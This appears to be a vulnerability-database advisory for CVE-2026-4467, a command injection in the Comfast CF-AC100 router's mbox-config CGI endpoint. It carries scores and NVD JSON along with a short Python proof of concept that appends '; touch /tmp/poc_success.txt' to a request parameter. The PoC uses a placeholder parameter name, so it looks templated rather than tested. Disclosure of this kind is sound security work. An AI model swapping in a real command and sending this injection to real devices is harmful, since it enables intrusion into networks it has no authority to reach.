Security Vulnerability Report
中文
CVE-2026-4467 CVSS 4.7 MEDIUM

CVE-2026-4467

Published: 2026-03-20 03:16:01
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was found in Comfast CF-AC100 2.6.0.8. This impacts an unknown function of the file /cgi-bin/mbox-config?method=SET&section=wireless_device_dissoc. The manipulation results in command injection. The attack can be executed remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Comfast CF-AC100 2.6.0.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_ip = "192.168.10.1" url = f"http://{target_ip}/cgi-bin/mbox-config" # Attacker controlled command (e.g., creating a file as proof) # Note: Actual command syntax depends on the specific OS shell of the device attacker_cmd = "touch /tmp/poc_success.txt" # Vulnerable payload injection # The payload injects a command separator to execute the attacker's command payload = { "method": "SET", "section": "wireless_device_dissoc", "vulnerable_param": "normal_value; " + attacker_cmd } try: # Sending the malicious request # Authentication might be required based on PR:H response = requests.post(url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if command executed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4467", "sourceIdentifier": "[email protected]", "published": "2026-03-20T03:16:01.427", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in Comfast CF-AC100 2.6.0.8. This impacts an unknown function of the file /cgi-bin/mbox-config?method=SET&section=wireless_device_dissoc. The manipulation results in command injection. The attack can be executed remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Se encontró una vulnerabilidad en Comfast CF-AC100 2.6.0.8. Esto afecta a una función desconocida del archivo /cgi-bin/mbox-config?method=SET&section=wireless_device_dissoc. La manipulación resulta en inyección de comandos. El ataque puede ser ejecutado remotamente. El exploit se ha hecho público y podría ser utilizado. El proveedor fue contactado tempranamente sobre esta divulgación, pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://github.com/jinhao118/cve/blob/main/ComFast%20CF-AC100-V2.6.0.8_3.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.351757", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351757", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.772877", "source": "[email protected]"}]}}